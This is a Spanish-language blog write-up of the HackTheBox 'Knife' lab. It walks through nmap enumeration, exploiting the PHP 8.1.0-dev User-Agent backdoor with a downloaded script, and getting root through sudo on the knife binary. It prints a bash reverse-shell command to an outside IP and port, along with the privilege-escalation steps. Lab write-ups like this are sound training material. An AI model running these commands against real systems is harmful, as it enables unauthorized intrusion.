Writeup — HackTheBox — “Knife”

Jeach_03
4 min readAug 29, 2021

--

METODOLOGÍA:

  • Information Gathering and Enumeration
  • Scan de puertos con nmap
  • Scan de servicios y versiones con nmap
  • Enumeración Web
  • PHP 8.1.0 -dev Exploit
  • User Flag
  • Escala de Privilegios

Como es habitual comenzamos corriendo nuestra VPN descargada de la plataforma HTB (examples.ovpn) y comprobar conexión mediante una traza ICMP: ping -c 1 10.10.10.242 a nuestra máquina target.

Repuesta de Máquina target

Estamos listo tenemos conexión; iniciamos la fase de reconocimiento con nmap para buscar puertos y servicios abiertos que permitar desarrollar esta máquina.

INFORMATION GATHERING AND ENUMERATION:

Scan de Puertos: Manos a la obras escanear la máquina objetivo con nmap para identificar los puertos que están abiertos de forma rápida:

# nmap -p- --open -T5 -v -n 10.10.10.242
Identificación de puetos activos

Una vez conocemos los puertos activos de nuestra máquina target procedemos a un scan mas profundo.

Scan detención de servicios y sus versiones:

# nmap -p 22,80 -sC -sV 10.10.10.242 -oN knifenmap
Puertos y Servicios disponibles

Como resultados dos puertos abiertos que los siguientes.

  • Puerto 22: SSH; que en estos momentos lo mantenemos como referencia que pueden existir credenciales para loggearnos por SSH más adelante como es habitual.
  • Puerto 80: Lo cual corresponde a un Servidor web; lo cual procederemos a abrir la IP en nuestro navegador preferido para comenzar con la enumeración.

ENUMERACIÓN WEB

Visitemos el sitio web veamos que tiene el puerto 80 de http, ingresamos IP http://10.10.10.242 en nuestro navegador de preferencia y obtenemos un site web bastante simple no tiene enlaces.

Site Web

Siguiendo la enumeración utilizamos la herramientas whatweb para hacer la preguta ¿Que es este sitio Web? lo cual nos permite identificar diferentes tecnologías web utilizadas por el sitio web, tambien exite una extensión llamada wappalyzer que no muestra más información de una formal mas llamativa.

PHP 8.1.0-dev
PHP 8.1.0

PHP 8.1.0-dev Exploit

Luego de analizar con las tools tanto whatweb y wappalyzer muestra que el servidor web esta usando php 8.1.0-dev y en san google nos presenta un exploit muy reciente para esta versión de PHP lo cual nos concentraremos para vulnerar esta máquina.

Aquí Googleamos y me preguntamos amablemente sobre este exploit, se puede realizar desde metasploit pero descargamos el siguiente script desde la siguiente ruta. https://packetstormsecurity.com/files/162749/PHP-8.1.0-dev-Backdoor-Remote-Command-Injection.html

“Si esta versión de PHP se ejecuta en un servidor, un atacante puede ejecutar código arbitrario enviando el encabezado User-Agent. El siguiente exploit utiliza la puerta trasera para proporcionar un pseudo shell en el host.”

Una vez sabemos que realiza el exploit descargamos el script desde el enlace anterior y lo guardamos como php811exploit.py.

Descarga de exploit

Para correr el script primero configuramos el netcat por el puerto 4444 para esperar reverse shell que nos permitar mejor interacción.

USER FLAG

Configuración del script colocamos IP máquina target, el script permite ejecutar comandos como id, ifconfig en este caso aprovechamos y creamos una carga de tipo bash TCP shell con nuestra ip y puerto para obtener una reverse shell para permitirnos tener una mejor interacción.

# python3 exploit.py -u http://10.10.10.242/ -c "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'"

Exploit tuvo éxito, seguimos la siguientes rutas de archivos del servidor hasta llegar a el flag de user.txt.

ESCALADA DE PRIVILEGIOS

Dentro de la escala de privilegios siempre comenzamos con sudo -l para verificar la entradas sudo, se encontró que el usuario james puede ejecutar sudo como root sin contraseña sobre /usr/bin/knife en este caso intentaremos elevar privilegios.

Hay disponible en GTFOBINS un exploit para elevar privilegios.

Probamos esto para explotar la vulnerabilidad y obtener shell como root; Pero con limitaciones para interactuar, para obtener un tty más amigable tecleamos.

# python3 -c 'import pty;pty.spawn("/bin/bash")'

Luego nos dirigimos a la carpeta root para obtener el flag root.txt

Finally!!! somos Root

!Saludos!

Referencias

--

--